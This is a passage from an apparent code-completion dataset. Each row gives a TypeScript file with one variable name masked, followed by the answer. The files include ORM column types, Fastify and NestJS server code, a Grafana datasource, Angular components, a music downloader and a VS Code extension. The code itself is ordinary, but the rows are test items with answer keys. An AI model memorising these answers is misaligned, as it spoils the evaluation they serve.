    case BlobSize.MEDIUM:
      return ""MEDIUMBLOB"";
    case BlobSize.LONG:
      return ""LONGBLOB"";
  }
  return ""BLOB"";
}

function textBySize(size: BlobSize) {
  switch (size) {
    case BlobSize.TINY:
      return ""TINYTEXT"";
    case BlobSize.REGULAR:
      return ""TEXT"";
    case BlobSize.MEDIUM:
      return ""MEDIUMTEXT"";
    case BlobSize.LONG:
      return ""LONGTEXT"";
  }
  return ""TEXT"";
}

const ID = {
  db: ""BIGINT"",
  async serialize(value: number) {
    return value;
  },
  async deserialize(value: number) {
    return value;
  }
};

const BOOLEAN = {
  db: ""ENUM('Y', 'N')"",
  async serialize(value: boolean) {
    return value ? ""Y"" : ""N"";
  },
  async deserialize(value: string) {
    return value === ""Y"";
  }
};

const NUMBER = extend(
  ( [MASK]  = false) => {
    return {
      db:  [MASK]  ? ""FLOAT"" : ""DOUBLE"",
      async serialize(value: number) {
        return value;
      },
      async deserialize(value: number) {
        return value;
      }
    };
  },
  {
    db: ""DOUBLE"",
    async serialize(value: number) {
      return value;
    },
    async deserialize(value: number) {
      return value;
    }
  }
);

const STRING = extend(
  (length = 255) => {
    if (length < 1 || length > 255) {
      throw new Error(
        ""Database String types should be between 1 up to 255.\nIf you require bigger values consider using TEXT.""
      );
    }
    return {
      db: `VARCHAR(${length})`,
      async serialize(value: string) {
        return value;
      },
      async deserialize(value: string) {
        return value;
      }
    };
  },
  {
    db: ""VARCHAR(255)"",
    async serialize(value: string) {
      return value;
    },
    async deserialize(value: string) {
      return value;
    }
  }
);

const DATE = {
  db: ""DATETIME"",
  async serialize(value: Date) {
    return moment(value).format(""YYYY-MM-DD HH:mm:ss"");
  },
  async deserialize(value: Date) {
    return value;
  }
};

const BLOB = extend(
  (size: BlobSize = BlobSize.REGULAR) => {
    return {
      db: blobBySize(size),
      async serialize(value: Buffer) {
        return value;
      },
      async deserialize(value: Buffer) {
        return value;
      }
    };
  },
  {
    db: ""BLOB"",
    async serialize(value: Buffer) {
      return value;
    },
    async deserialize(value: Buffer) {
      return value;
    }
  }
);

const typeJSON = extend(
  (size: BlobSize = BlobSize.REGULAR) => {
    return {
      db: textBySize(size),
      async serialize(value: any) {
        return JSON.stringify(value);
      },
      async deserialize(value: string) {
        return JSON.parse(value);
      }
    };
  },
  {
    db: ""TEXT"",
    async serialize(value: any) {
      return JSON.stringify(value);
    },
    async deserialize(value: string) {
      return JSON.parse(value);
    }
  }
);

const SERIALIZABLE = <T extends Serializable>(
  serializable: SerializableClass<T>,
  size: BlobSize = BlobSize.REGULAR
) => {
  return {
    db: textBySize(size),
    serialize(value: T) {
      return value.serialize();
    },
    deserialize(value: string) {
      return serializable.deserialize(value);
    }
  };
};

const DataTypes = {
  ID,
  NUMBER,
  STRING,
  BOOLEAN,
  DATE,
  JSON: typeJSON,
  BLOB,
  SERIALIZABLE
};

export { DataTypes, DataType, Serializable, SerializableClass, BlobSize };
",isFloat
468,"import type { FastifyInstance } from ""fastify"";
import { basename } from ""path"";
import Surreal from ""surrealdb.js"";

interface Body {
	username: string;
	result: {
		player: number;
		opponent: number;
	};
	board: {
		width: number;
		height: number;
	};
}

interface Querystring {
	username?: string;
}

interface Match extends Body {
	game_time: string;
	id: string;
}

const route = basename(import.meta.url, "".js"");

// Validate a username
export function checkUsername(username: string) {
	const checks = [
		{ check: username.length >= 1, string: ""Username too short"" },
		{ check: username.length <= 20, string: ""Username too long"" },
		{
			check: /^[a-zA-Z0-9_]+$/.test(username),
			string: ""Username uses invalid characters"",
		},
	];

	return checks.filter((check) => !check.check);
}

export function setupRoutes(server: FastifyInstance) {
	server.post<{
		Body: Body;
	}>(`/${route}`, async (request, response) => {
		const { username, result, board } = request.body;
		const  [MASK]  = checkUsername(username);

		if ( [MASK] .length > 0) {
			return response
				.status(400)
				.send(`${ [MASK] .map((c) => c.string).join("".\n"")}`);
		}

		if (!checkUsername(username))
			return response.status(400).send(""Invalid username length"");

		await Surreal.Instance.query(
			""CREATE game SET username = $username, result = $result, game_time = time::now(), board = $board"",
			{
				username,
				result,
				board,
			}
		);
	});

	server.get<{
		Querystring: Querystring;
	}>(`/${route}`, async (request) => {
		if (request.query.username ?? false) {
			const { username } = request.query;

			const matches: Match[] =
				(await Surreal.Instance.query(
					""SELECT * FROM game WHERE username = $username"",
					{
						username,
					}
				)) || [];

			return matches;
		} else {
			const matches: Match[] = await Surreal.Instance.query(
				""SELECT * FROM game""
			);

			return matches;
		}
	});
}
",failedChecks
469,"import { QueryResponse } from './types';
import { Observable, merge, of} from 'rxjs';
import { delay } from 'rxjs/operators';
import { NodeGraphDataFrameFieldNames } from '@grafana/ui';
import {
  DataQueryRequest,
  DataQueryResponse,
  DataSourceApi,
  DataSourceInstanceSettings,
  FieldColorModeId,
  FieldType,
  MutableDataFrame,
  ArrayVector,
  DataFrame
 // toDataFrame,
} from '@grafana/data';

import { MyQuery, MyDataSourceOptions } from './types';

export class DataSource extends DataSourceApi<MyQuery, MyDataSourceOptions> {
  constructor(instanceSettings: DataSourceInstanceSettings<MyDataSourceOptions>) {
    super(instanceSettings);
  }

  query(options: DataQueryRequest<MyQuery>): Observable<DataQueryResponse> {
    const streams: Array<Observable<DataQueryResponse>> = [];

    for(const target of options.targets){
      if(target.hide){
        continue;
      }

      switch(target.constant){
        case 1:
          streams.push(this.nodegraph_test(target, options));
          break;
        case 2:
          streams.push(this.dataframes_test(target, options));
          break;
        case 3:
          streams.push(this.topology_test(target, options));
          break;
      }
    }
    return merge(...streams)
  }

  topology_test(target: MyQuery, options: DataQueryRequest<MyQuery>): any{
    const data: QueryResponse[] = [
      {
        columns: [
            { type: ""time"", text: ""Time"" },
            { text: ""app"" },
            { text: ""target_app"" },
            { text: ""req_rate"" },
            { text: ""resp_time"" },
            { text: ""error_rate"" }
        ],
        refId: undefined,
        meta: undefined,
        rows: [
            [0, ""service a"", ""service b"", 50, 4000, 5],
            [0, ""service a"", ""service c"", 75, 13650, 0],
            [0, ""service c"", ""service d"", 25, 750, 1]
        ]
      }
    ]
    return { data };
  }

  dataframes_test(target: MyQuery, options: DataQueryRequest<MyQuery>): Observable<DataQueryResponse>{
    var timeValues :any
    var  [MASK]  :any

    timeValues = [1613368800000, 1613412000000, 1613455200000]
     [MASK]  = [""true"", ""false"", 'true'];

    const frame = new MutableDataFrame({
      refId: options.targets[0].refId,
      fields: [
        { name: ""Time"", type: FieldType.time },
        { name: ""Values"", type: FieldType.string },
      ],
    });
    for(let i = 0; i < timeValues.length; i++){
      frame.appendRow([timeValues[i],  [MASK] [i]])
    }
    console.log(frame)
    return of({ data: [frame] }).pipe(delay(100));
  }

  nodegraph_test(target: MyQuery, options: DataQueryRequest<MyQuery>): Observable<DataQueryResponse> {
    let frames: DataFrame[];
    const count = 10;
    const nodes = [];

    // Creates the root node.
    const root = {
      id: '0',
      title: 'root',
      subTitle: 'client',
      success: 1,
      error: 0,
      stat1: 1,
      stat2: 0,
      edges: [] as any[],
    };

    // Adds the root node to the nodes array.
    nodes.push(root);

    // Used for the randomized edges
    const nodesWithoutMaxEdges = [root];
    const maxEdges = 3;
  
    // Loops 10 times to create nodes
    // This for loop is what would need to change for actual use.
    for (let i = 1; i < count; i++) {
      //Creates node with data.
      const success = Math.random();
      const error = 1 - success;
      const node = {
        id: i.toString(),
        title: `service:${i}`,
        subTitle: 'service',
        success,
        error,
        stat1: success,
        stat2: error,
        edges: [],
      };

      // Adds new node to array.
      nodes.push(node);

      // Randomizes the source for edges. 
      const sourceIndex = Math.floor(Math.random() * Math.floor(nodesWithoutMaxEdges.length - 1));
      const source = nodesWithoutMaxEdges[sourceIndex];
      source.edges.push(node.id);
      if (source.edges.length >= maxEdges) {
        nodesWithoutMaxEdges.splice(sourceIndex, 1);
      }
      nodesWithoutMaxEdges.push(node);
    }
  
    // Creates random edges to random sources and targets
    const additionalEdges = Math.floor(count / 2);
    for (let i = 0; i <= additionalEdges; i++) {
      const sourceIndex = Math.floor(Math.random() * Math.floor(nodes.length - 1));
      const targetIndex = Math.floor(Math.random() * Math.floor(nodes.length - 1));
      if (sourceIndex === targetIndex || nodes[sourceIndex].id === '0' || nodes[sourceIndex].id === '0') {
        continue;
      }
      // This value will later be used as the target of a nodes edge.
      nodes[sourceIndex].edges.push(nodes[sourceIndex].id);
    }
  
    // Creates the fields for the nodes
    const nodeFields: any = {
      [NodeGraphDataFrameFieldNames.id]: {
        values: new ArrayVector(),
        type: FieldType.string,
      },
      [NodeGraphDataFrameFieldNames.title]: {
        values: new ArrayVector(),
        type: FieldType.string,
      },
      [NodeGraphDataFrameFieldNames.subTitle]: {
        values: new ArrayVector(),
        type: FieldType.string,
      },
      [NodeGraphDataFrameFieldNames.mainStat]: {
        values: new ArrayVector(),
        type: FieldType.number,
      },
      [NodeGraphDataFrameFieldNames.secondaryStat]: {
        values: new ArrayVector(),
        type: FieldType.number,
      },
      [NodeGraphDataFrameFieldNames.arc + 'success']: {
        values: new ArrayVector(),
        type: FieldType.number,
        config: { color: { fixedColor: 'green', mode: FieldColorModeId.Fixed } },
      },
      [NodeGraphDataFrameFieldNames.arc + 'errors']: {
        values: new ArrayVector(),
        type: FieldType.number,
        config: { color: { fixedColor: 'red', mode: FieldColorModeId.Fixed } },
      },
    };
  
    // Creates the dataframe for the nodes using the above fields. 
    const nodeFrame = new MutableDataFrame({
      name: 'nodes',
      fields: Object.keys(nodeFields).map((key) => ({
        ...nodeFields[key],
        name: key,
      })),
      // Documentation says this is required for the nodeGraph to work
      meta: { preferredVisualisationType: 'nodeGraph' },
    });
  
    // Creates the fields for the edges.
    const edgeFields: any = {
      [NodeGraphDataFrameFieldNames.id]: {
        values: new ArrayVector(),
        type: FieldType.string,
      },
      [NodeGraphDataFrameFieldNames.source]: {
        values: new ArrayVector(),
        type: FieldType.string,
      },
      [NodeGraphDataFrameFieldNames.target]: {
        values: new ArrayVector(),
        type: FieldType.string,
      },
    };
  
    // Creates the dataframe for the edges with the above fields. 
    const edgesFrame = new MutableDataFrame({
      name: 'edges',
      fields: Object.keys(edgeFields).map((key) => ({
        ...edgeFields[key],
        name: key,
      })),
      // Documentation says this is required for the nodeGraph to work
      meta: { preferredVisualisationType: 'nodeGraph' },
    });
  
    // Adding values to the fields
    for (const node of nodes) {
      nodeFields.id.values.add(node.id);
      nodeFields.title.values.add(node.title);
      nodeFields.subTitle.values.add(node.subTitle);
      nodeFields.mainStat.values.add(node.stat1);
      nodeFields.secondaryStat.values.add(node.stat2);
      nodeFields.arc__success.values.add(node.success);
      nodeFields.arc__errors.values.add(node.error);
      // Adding values to the edges for the nodes. 
      for (const edge of node.edges) {
        edgeFields.id.values.add(`${node.id}--${edge}`);
        edgeFields.source.values.add(node.id);
        edgeFields.target.values.add(edge);
        console.log(edge)
      }
    }
    frames = [nodeFrame, edgesFrame]
    return of({ data: frames }).pipe(delay(100));
  }
  
  async testDatasource() {
    return {
      status: 'success',
      message: 'Success',
    };
  }
}",actualValues
470,"import { Component } from '@angular/core';
import { RastMobileService } from '../../services/rast-mobile.service';
import { todoItem } from '../models/todoItem';
declare var $: any; // jQuery'yi kullanabilmek için deklarasyon ekleyin

@Component({
  selector: 'app-table',
  templateUrl: './table.component.html',
  styleUrls: ['./table.component.css'],
})
export class TableComponent {
  todos: todoItem[] = [];
  p: number = 1;
  itemPerPage: number = 5;
  rowsPieces: number;
  total: any;
  binding: string = '';
  model = new todoItem();
  constructor(private rastMobileService: RastMobileService) {}
  ngOnInit(): void {
    console.log(this.todos.length);

    //Modal için gerekli jquery kodu BootStrap sağlıyor.
    $(document).ready(() => {
      $('#myModal').on('shown.bs.modal', function () {
        $('#myInput').trigger('focus');
      });
    });

    this.loadFromLocalStorage();
  }
  //buradaki işlem tabledan rows ekler
  increaseItemPerPage() {
    if (this.rowsPieces < this.todos.length) {
      this.rowsPieces++;

    }
    this.itemPerPage=this.rowsPieces;

  }
  //buradaki işlem tabledan rows çıkartırW
  decreaseItemPerPage() {
    if (this.rowsPieces > 1) {
      this.rowsPieces--;

    }
    this.itemPerPage=this.rowsPieces;
  }
  //herhangi bir service den data çekmek isteseydik bu işlemi yapıcaktık ..
  // getTodos(){
  //   this.rastMobileService.getTodos().subscribe(resp=>{
  //     this.todos=resp.slice(0,18);
  //     this.total=resp.length;

  //   })
  // }

  //burada TODO muza yeni bir ıtem  ekleme işlemi yapyoruz.
  //özet: yeni bir todıItem nesnesi oluştur , buradaki sql de tuttuğumuz entitiyleri
  //inputtan gelen value ile doldur.
  addItem(socialMediaLink: any, socialMediaName: any, description: any) {
    const  [MASK] : todoItem = {
      socialMediaLink: socialMediaLink,
      socialMediaName: socialMediaName,
      description: description,
    };
    this.todos.push( [MASK] );
    this.saveToLocalStorage();
  }
  //local storage kayıt işlemi
  saveToLocalStorage() {
    const todosJSON = JSON.stringify(this.todos);
    // JSON verisini local storage'a kaydettik.
    localStorage.setItem('todos', todosJSON);
    this.updateRowPieces();
  }
  //burada local storage kayıt ettiğimiz  ıtemları çektiğimiz yer .
  //NgOnit de çalıştırırak yazmış olduğumuz methodu sayfa yüklendiği anda alırız localStorage daki veriyi.
  loadFromLocalStorage() {
    const todosJSON = localStorage.getItem('todos');
    if (todosJSON) {
      this.todos = JSON.parse(todosJSON);
      this.updateRowPieces();
    }
  }
  updateRowPieces() {
    // Sayfa başına gösterilmesi gereken öğe sayısını belirledik (örn, 5).
    const itemsPerPage = 5;

    // Veri dizisinin uzunluğunu adlık.
    const dataLength = this.todos.length;

    // Şu an hangi sayfadaysanız onu hesapladık (örneğin, 1. sayfa veya 2. sayfa).
    const currentPage = Math.min(this.p, Math.ceil(dataLength / itemsPerPage));

    // Şu anki sayfa için gösterilmesi gereken öğe sayısını belirle.
    if (currentPage === Math.ceil(dataLength / itemsPerPage) && dataLength % itemsPerPage !== 0) {
      // Son sayfadaysanız ve veri sayısı sayfa başına gösterilmesi gereken öğe sayısının katı değilse,
      // kalan öğe sayısını gösterim yaptık.
      this.rowsPieces = dataLength % itemsPerPage;
    } else {
      // Diğer durumlarda sabit olarak itemsPerPage öğe gösterdik.
      this.rowsPieces = itemsPerPage;
    }
  }
}
",newItem
471,"import { removeListMusics, updateListMusicPosition, updateListMusics } from '@/core/list'
import { playList, playNext } from '@/core/player/player'
import { addTempPlayList } from '@/core/player/tempPlayList'
import settingState from '@/store/setting/state'
import { similar, sortInsert, toOldMusicInfo } from '@/utils'
import { confirmDialog, openUrl, shareMusic, toast } from '@/utils/tools'
import { addDislikeInfo, hasDislike } from '@/core/dislikeList'
import playerState from '@/store/player/state'
import type { SelectInfo } from './ListMenu'
import { type Metadata } from '@/components/MetadataEditModal'
import musicSdk from '@/utils/musicSdk'
import { getListMusicSync } from '@/utils/listManage'
import { requestStoragePermission } from '@/utils/tools'
import { getMusicUrl } from '@/core/music/online'
import RNFetchBlob from 'rn-fetch-blob'

export const handlePlay = (listId: SelectInfo['listId'], index: SelectInfo['index']) => {
  void playList(listId, index)
}
export const handlePlayLater = (
  listId: SelectInfo['listId'],
  musicInfo: SelectInfo['musicInfo'],
  selectedList: SelectInfo['selectedList'],
  onCancelSelect: () => void
) => {
  if (selectedList.length) {
    addTempPlayList(selectedList.map((s) => ({ listId, musicInfo: s })))
    onCancelSelect()
  } else {
    addTempPlayList([{ listId, musicInfo }])
  }
}

export const handleRemove = (
  listId: SelectInfo['listId'],
  musicInfo: SelectInfo['musicInfo'],
  selectedList: SelectInfo['selectedList'],
  onCancelSelect: () => void
) => {
  if (selectedList.length) {
    void confirmDialog({
      message: global.i18n.t('list_remove_music_multi_tip', { num: selectedList.length }),
      confirmButtonText: global.i18n.t('list_remove_tip_button'),
    }).then((isRemove) => {
      if (!isRemove) return
      void removeListMusics(
        listId,
        selectedList.map((s) => s.id)
      )
      onCancelSelect()
    })
  } else {
    void removeListMusics(listId, [musicInfo.id])
  }
}

export const handleUpdateMusicPosition = (
  position: number,
  listId: SelectInfo['listId'],
  musicInfo: SelectInfo['musicInfo'],
  selectedList: SelectInfo['selectedList'],
  onCancelSelect: () => void
) => {
  if (selectedList.length) {
    void updateListMusicPosition(
      listId,
      position,
      selectedList.map((s) => s.id)
    )
    onCancelSelect()
  } else {
    void updateListMusicPosition(listId, position, [musicInfo.id])
  }
}

export const handleUpdateMusicInfo = (
  listId: SelectInfo['listId'],
  musicInfo: LX.Music.MusicInfoLocal,
  newInfo: Metadata
) => {
  void updateListMusics([
    {
      id: listId,
      musicInfo: {
        ...musicInfo,
        name: newInfo.name,
        singer: newInfo.singer,
        meta: {
          ...musicInfo.meta,
          albumName: newInfo.albumName,
        },
      },
    },
  ])
}

export const handleShare = (musicInfo: SelectInfo['musicInfo']) => {
  shareMusic(
    settingState.setting['common.shareType'],
    settingState.setting['download.fileName'],
    musicInfo
  )
}

export const searchListMusic = (list: LX.Music.MusicInfo[], text: string) => {
  let result: LX.Music.MusicInfo[] = []
  let rxp = new RegExp(
    text
      .split('')
      .map((s) => s.replace(/[.*+?^${}()|[\]\\]/, '\\$&'))
      .join('.*') + '.*',
    'i'
  )
  for (const mInfo of list) {
    const str = `${mInfo.name}${mInfo.singer}${mInfo.meta.albumName ? mInfo.meta.albumName : ''}`
    if (rxp.test(str)) result.push(mInfo)
  }

  const sortedList: Array<{ num: number; data: LX.Music.MusicInfo }> = []

  for (const mInfo of result) {
    sortInsert(sortedList, {
      num: similar(
        text,
        `${mInfo.name}${mInfo.singer}${mInfo.meta.albumName ? mInfo.meta.albumName : ''}`
      ),
      data: mInfo,
    })
  }
  return sortedList.map((item) => item.data).reverse()
}

export const handleShowMusicSourceDetail = async (minfo: SelectInfo['musicInfo']) => {
  const url = musicSdk[minfo.source as LX.OnlineSource]?.getMusicDetailPageUrl(
    toOldMusicInfo(minfo)
  )
  if (!url) return
  void openUrl(url)
}

export const handleDislikeMusic = async (musicInfo: SelectInfo['musicInfo']) => {
  const confirm = await confirmDialog({
    message: musicInfo.singer
      ? global.i18n.t('lists_dislike_music_singer_tip', {
          name: musicInfo.name,
          singer: musicInfo.singer,
        })
      : global.i18n.t('lists_dislike_music_tip', { name: musicInfo.name }),
    cancelButtonText: global.i18n.t('cancel_button_text_2'),
    confirmButtonText: global.i18n.t('confirm_button_text'),
    bgClose: false,
  })
  if (!confirm) return
  await addDislikeInfo([{ name: musicInfo.name, singer: musicInfo.singer }])
  toast(global.i18n.t('lists_dislike_music_add_tip'))
  if (hasDislike(playerState.playMusicInfo.musicInfo)) {
    void playNext(true)
  }
}

export const handleToggleSource = (
  listId: string,
  musicInfo: LX.Music.MusicInfo,
  toggleMusicInfo?: LX.Music.MusicInfoOnline | null
) => {
  const list = getListMusicSync(listId)
  const idx = list.findIndex((m) => m.id == musicInfo.id)
  if (idx < 0) return null
  musicInfo.meta.toggleMusicInfo = toggleMusicInfo
  const newInfo = {
    ...musicInfo,
    meta: {
      ...musicInfo.meta,
      toggleMusicInfo,
    },
  }
  void updateListMusics([
    {
      id: listId,
      musicInfo: newInfo as LX.Music.MusicInfo,
    },
  ])
  if (
    !!toggleMusicInfo ||
    (playerState.playMusicInfo.listId == listId &&
      playerState.playMusicInfo.musicInfo?.id == musicInfo.id)
  ) {
    void playList(listId, idx)
  }
  return newInfo as LX.Music.MusicInfo
}

export function getFileExtension(url: string) {
  const match = url.match(/\.([0-9a-z]+)(?=[?#]|$)/i)
  return match ? match[1] : 'mp3'
}

export const handleDownload = async (musicInfo: any, quality: LX.Quality) => {
  try {
    await requestStoragePermission()
    try {
      getMusicUrl({
        musicInfo,
        quality,
        isRefresh: true,
        allowToggleSource: true,
      })
        .then((url) => {
          const extension = getFileExtension(url)
          const fileName = `${musicInfo.name} - ${musicInfo.singer} - ${quality}`
          const  [MASK]  = RNFetchBlob.fs.dirs.MusicDir + '/IKUN Music'
          const path = `${ [MASK] }/${fileName}.${extension}`
          RNFetchBlob.config({
            fileCache: true,
            addAndroidDownloads: {
              useDownloadManager: true,
              notification: true,
              path: path,
              title: `${musicInfo.name} - ${musicInfo.singer}`,
              description: '正在下载文件...',
            },
          })
            .fetch('GET', url)
            .then((res) => {
              toast(`${fileName} 下载成功! 请使用音乐标签写入Metadata`, 'long')
            })
            .catch((error) => {
              toast(`文件下载失败：${error}`)
            })
        })
        .catch((e) => {
          toast(`获取播放链接失败：${e}`)
        })
    } catch (e_1) {
      toast(`文件下载失败：${e_1}`)
    }
  } catch (e_2) {
    return await Promise.reject(e_2 ?? '权限获取失败')
  }
}
",downloadDir
472,"import { ApplicationRef, ElementRef, Inject, Injectable } from '@angular/core';
import { Palettes, PaletteValues, ThemingExtraOptions, ThemingOptions, DEFAULT_THEMING_OPTIONS } from './definitions';
import { PaletteValuesType } from './definitions';
import { deepCopy } from './utils';
import { ThemingUtil } from './utils';
import { BehaviorSubject, Observable } from 'rxjs';
import { distinctUntilChanged, pluck, filter, first } from 'rxjs/operators';
import { DYNAMIC_THEMING_OPTIONS } from './theming.module';

@Injectable({ providedIn: 'root' })
export class ThemingService {

    private currentPalettes$: BehaviorSubject<PaletteValuesType> = new BehaviorSubject<PaletteValuesType>(this.themingOptions.palettes as PaletteValuesType);
    private rootElementRef: ElementRef;

    constructor(
        private appRef: ApplicationRef,
        @Inject(DYNAMIC_THEMING_OPTIONS) private themingOptions: ThemingOptions,
    ) {
      this.appRef.isStable.pipe(
          filter(stable => stable),
          first(),
        )
        .subscribe(() => {
          if (this.appRef.components && this.appRef.components[0] && this.appRef.components[0].location) {
            this.rootElementRef = this.appRef.components[0].location;
            this.initThemingPalettes();
          }
        });
    }

    /**
     * Set a palette for a specific ElementRef
     * @param elementRef
     * @param paletteValue
     * @param paletteName
     */
    public setPalette(elementRef: ElementRef, paletteValue: PaletteValues | string, paletteName: Palettes,
        options?: ThemingExtraOptions): void {
        ThemingUtil.setPaletteCustomProperties(elementRef, paletteValue, paletteName, this.getExtraOptions(options));
    }

    /**
     * Set a palette in the application root
     * @param paletteValue
     * @param paletteName
     */
    public setPaletteForRoot(paletteValue: PaletteValues | string, paletteName: Palettes, options?: ThemingExtraOptions): void {
        ThemingUtil.setPaletteCustomProperties(this.rootElementRef, paletteValue, paletteName, this.getExtraOptions(options));
        ThemingUtil.setPaletteCustomProperties(this.rootElementRef, paletteValue, <any>`${ paletteName }-root`, this.getExtraOptions(options)); // save for root
        const  [MASK] : any = deepCopy(this.currentPalettes$.value);
         [MASK] [paletteName] = paletteValue;
        this.currentPalettes$.next( [MASK] );
    }

    /**
     * Observable that emits changes for a selected palette
     * @param palette palette name
     */
    public getPaletteChanges(palette: Palettes): Observable<PaletteValues | string | {}> {
        return this.currentPalettes$.pipe(
            pluck(palette),
            distinctUntilChanged()
        );
    }

    /**
     * Retrieve palette values from the DOM checking the ElementRef custom properties
     * @param paletteName name of the desired palette
     * @param ref element ref to query
     */
    public getPaletteValuesFromDOM(paletteName: Palettes, ref: ElementRef = this.rootElementRef): PaletteValues {
        const paletteCustomProperties =
            ThemingUtil.getCustomProperties(ref, ThemingUtil.getPaletteCustomPropertiesNames(paletteName, false));
        const paletteCustomPropertiesContrast =
            ThemingUtil.getCustomProperties(ref, ThemingUtil.getPaletteCustomPropertiesNames(paletteName, true));
        return { ...paletteCustomProperties, ...{ contrast: paletteCustomPropertiesContrast }};
    }

    /**
     * Get application root value of a palette
     * @param palette name of the desired palette
     */
    public getPalette(palette: Palettes): PaletteValues | string {
        return this.currentPalettes$.value[palette];
    }

    /**
     * Extend provided options with the ones provided in the token via forRoot
     * @param options
     * @internal
     */
    private getExtraOptions(options: ThemingExtraOptions = {}) {
      return {...DEFAULT_THEMING_OPTIONS, ...this.themingOptions.extra, ...options };
    }

    /**
     * Initialize application theming palettes
     */
    private initThemingPalettes(): void {
        Object.keys(this.currentPalettes$.value).forEach((palette: Palettes) => {
            ThemingUtil.setPaletteCustomProperties(this.rootElementRef, this.themingOptions.palettes[palette], palette, this.getExtraOptions());
            ThemingUtil.setPaletteCustomProperties(this.rootElementRef, this.themingOptions.palettes[palette], <any>`${ palette }-root`, this.getExtraOptions()); // save for root
        });
    }

}
",defaultPalettes
473,"// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';

let handle_selection = (editor: vscode.TextEditor, builder: vscode.TextEditorEdit, selection: vscode.Selection, content: string) => {
    let start_line = new vscode.Position(selection.start.line, 0);
    let  [MASK]  = new vscode.Selection(start_line, selection.start);
    // Note: this won't work if there are different indent styles
    //       in the pasted code; tab characters.
    let leading_whitespace_regex = (/^\s*/)
    let line_contents = editor.document.getText( [MASK] );
    let line_match = line_contents.match(leading_whitespace_regex);
    let line_prefix = '';
    if (line_match && line_match.length > 0) {
        line_prefix = line_match[0];
    }
    let lines = content.split('\n');
    // Find the pasted line with the least amount of initial whitespace and
    // remove that much whitespace from each line; left justify paste.
    let dedent = null
    for (let line of lines) {
        if (line.trim().length > 0) {
            let match = line.match(leading_whitespace_regex)
            let leading_whitespace = ''
            if (match != null) {
                leading_whitespace = match[0]
            }
            if (dedent == null || leading_whitespace.length < dedent.length) {
                dedent = leading_whitespace
            }
        }
    }
    if (dedent == null) {
        dedent = ''
    }
    let new_content = lines.shift();
    if (new_content || new_content == '') {
        lines = lines.map(line => { return line_prefix + line.substring(dedent.length); });
        lines.unshift(new_content.substring(dedent.length));
        new_content = lines.join('\n');

        if (new_content) {
            builder.replace(selection, new_content);
        }
    }
};

let paste_and_indent = () => {
    let editor = vscode.window.activeTextEditor;

    if (editor) {
        let myedit = editor;

        vscode.env.clipboard.readText().then(content => {
            let lines = content.split('\n');
            let edit: Thenable<boolean>;

            // Check for multi-selections special case
            if (lines.length === myedit.selections.length) {
                // Handle each selection separately
                edit = myedit.edit((builder: vscode.TextEditorEdit) => {
                    for (let i = 0; i < myedit.selections.length; i++) {
                        handle_selection(myedit, builder, myedit.selections[i], lines[i]);
                    }
                })
            } else {
                // Single region behavior
                edit = myedit.edit((builder: vscode.TextEditorEdit) => {
                  myedit.selections.forEach((selection) => {
                    handle_selection(myedit, builder, selection, content);
                  });
                });
            }
            edit.then((success) => {
              if (success) {
                myedit.selections = myedit.selections.map((selection) => {
                  return new vscode.Selection(selection.end, selection.end);
                });
              }
            });
        });
    }
};

// this method is called when your extension is activated
// your extension is activated the very first time the command is executed
export function activate(context: vscode.ExtensionContext) {
    let indent = vscode.commands.registerCommand('extension.paste-indent', paste_and_indent);
    context.subscriptions.push(indent);
}

// this method is called when your extension is deactivated
export function deactivate() { }
",this_line
474,"import { adviceService } from 'Services/advice.service';
import { Command } from 'Utils/command';
import { ClientUser, CommandInteraction, MessageEmbed } from 'discord.js';
import { Discord, Slash, SlashOption } from 'discordx';

@Discord()
export abstract class Advice extends Command {
  constructor() {
    super();
  }

  /**
   * Create Message for advice command
   * @param advice
   * @param user
   * @returns MessageEmbed
   */
  private createMessage(advice: string, user: ClientUser | null): MessageEmbed {
    return new MessageEmbed()
      .setAuthor({ name: this.c('adviceTitle'), iconURL: user?.displayAvatarURL() })
      .setColor('RANDOM')
      .setDescription(advice);
  }

  /**
   * Advice Command
   * @param user
   * @param interaction
   */
  @Slash('advice', {
    description: `fun command to send some friendly advice to yourself or a friend.`
  })
  async init(
    @SlashOption('user', {
      description: 'Who do you want to send advice to?',
      required: false
    })
    user: string,
    interaction: CommandInteraction
  ): Promise<void> {
    const { advice } = await adviceService.getAdvice();

    if (!advice) {
      await interaction.reply(this.c('noAdvice'));
      await new Promise((resolve) => setTimeout(resolve, 5000));
      return interaction.deleteReply();
    }

    const  [MASK]  = user ? `${user}, ${advice}` : advice;
    const msg = this.createMessage( [MASK] , interaction.client.user);
    return interaction.reply({ embeds: [msg] });
  }
}
",adviceString
475,"import {
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { AppController } from './app.controller';
import { AppService } from './app.service';
import { OpenaiModule } from './module/openai/openai.module';
import { MiningModule } from './module/mining/mining.module';
import { APP_FILTER, APP_INTERCEPTOR, RouterModule } from '@nestjs/core';
import { ClarisaModule } from './tools/clarisa/clarisa.module';
import { NotificationsModule } from './notifications/notifications.module';
import { ConfigModule, ConfigService } from '@nestjs/config';
import { GlobalExceptions } from './shared/errors/global.exception';
import { LoggingInterceptor } from './shared/interceptors/logging.interceptor';
import { ResponseInterceptor } from './shared/interceptors/response.interceptor';
import { ENV } from './utils/env.utils';
import { routes as mainRoutes } from './routes/main.routes';
import { ThreadsModule } from './module/threads/threads.module';
import { MessagesModule } from './module/messages/messages.module';
import { AssistantModule } from './module/assistant/assistant.module';
import { JwtMiddleware } from './shared/middlewares/jwt.middleware';
import { FileModule } from './module/file/file.module';

@Module({
  imports: [
    OpenaiModule,
    MiningModule,
    AssistantModule,
    ThreadsModule,
    MessagesModule,
    RouterModule.register(mainRoutes),
    ClarisaModule,
    NotificationsModule,
    ConfigModule.forRoot({
      isGlobal: true,
    }),
    FileModule,
  ],
  controllers: [AppController],
  providers: [
    AppService,
    {
      provide: APP_INTERCEPTOR,
      useClass: LoggingInterceptor,
    },
    {
      provide: APP_INTERCEPTOR,
      useClass: ResponseInterceptor,
    },
    {
      provide: APP_FILTER,
      useClass: GlobalExceptions,
    },
    {
      provide: ENV,
      useFactory: ( [MASK] : ConfigService) => new ENV( [MASK] ),
      inject: [ConfigService],
    },
  ],
})
export class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer.apply(JwtMiddleware).forRoutes({
      path: '/test-slack-notification',
      method: RequestMethod.ALL,
    });
  }
}
",configService
476,"// Experimental API below

/**
 * get input values
 *
 * Extended by: <NAME> <<EMAIL>>
 * Now gets values of inputs (including ""checked"" status radios, checkboxes), textareas and selects (including multiselects)
 * Tries to identify the elements as exact as possible, falls back to numeric index when identification fails
